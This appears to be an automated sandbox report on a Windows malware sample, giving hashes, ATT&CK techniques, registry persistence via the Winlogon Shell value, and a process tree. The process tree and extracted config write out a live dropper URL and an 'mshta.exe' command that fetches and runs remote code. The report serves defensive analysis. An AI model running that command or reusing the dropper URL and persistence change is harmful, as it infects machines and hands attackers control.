540ff7bfb7db15e5486ac9c93d7c05624973f73982f8b661f7eb99c40f8f4f82

Analysis

max time kernel
9s
max time network
11s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20-09-2024 16:26

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Reason

Machine shutdown

Report Analysis Logs

General

Target

edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
Size

599KB
MD5

edfbd3ed00c16f0b88e016ef67a1c954
SHA1

445161c71b0fb30f56650e0a9572b28c3af1e259
SHA256

540ff7bfb7db15e5486ac9c93d7c05624973f73982f8b661f7eb99c40f8f4f82
SHA512

6edcf28632161c02c8d6f2fde7fdb8376f5ac0a9e8011cdb9475290bab275604a3613524137bb6f94097b04e0aff2c1269f5705a75114f48318716d2866fc791
SSDEEP

12288:X/82OHgu0FYGTdU0pFQdQPi5ucr+p4SBz0jTcrGUZ4CYs0cLZK:FuUYGxU6gQaIcr+X0j4SZCYV

Score

10^/10

discovery persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://raptopreport.com/inst.php?id=skytraf01

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hotfix.exe"	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3084-0-0x0000000000400000-0x00000000006C1000-memory.dmp	upx
behavioral2/memory/3084-8-0x0000000000400000-0x00000000006C1000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "198"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
5096	LogonUI.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3084 wrote to memory of 1856	3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe	82
PID 3084 wrote to memory of 1856	3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe	82
PID 3084 wrote to memory of 1856	3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe	82
PID 3084 wrote to memory of 4892	3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe	83
PID 3084 wrote to memory of 4892	3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe	83
PID 3084 wrote to memory of 4892	3084	edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe	83

C:\Users\Admin\AppData\Local\Temp\edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\edfbd3ed00c16f0b88e016ef67a1c954_JaffaCakes118.exe"
1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3084
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" http://raptopreport.com/inst.php?id=skytraf01
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1856
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\agtyjkj.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4892

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39a3855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\agtyjkj.bat

Filesize
262B

MD5
e83829fb41dc0ce6f22ae74907f2b331

SHA1
c04f9d2dba775643f6ebb3c5225aa57e3e9d11a7

SHA256
7ab31e99dd2c03913be4e30534ef879e1612f50932a9e3661d7d706dcc96cfd2

SHA512
152ee1436d042ac83797dc6e3ddb9b8b353d97d250103350e89d8df5eb376e8dcc59ba1e9b51aef5b766570ab736d74e134c5dbe25bbc4feab85987604dd62df

Download Submit
memory/3084-0-0x0000000000400000-0x00000000006C1000-memory.dmp

Filesize
2.8MB

Download
memory/3084-1-0x0000000000CE0000-0x0000000000CE1000-memory.dmp

Filesize
4KB

Download
memory/3084-8-0x0000000000400000-0x00000000006C1000-memory.dmp

Filesize
2.8MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads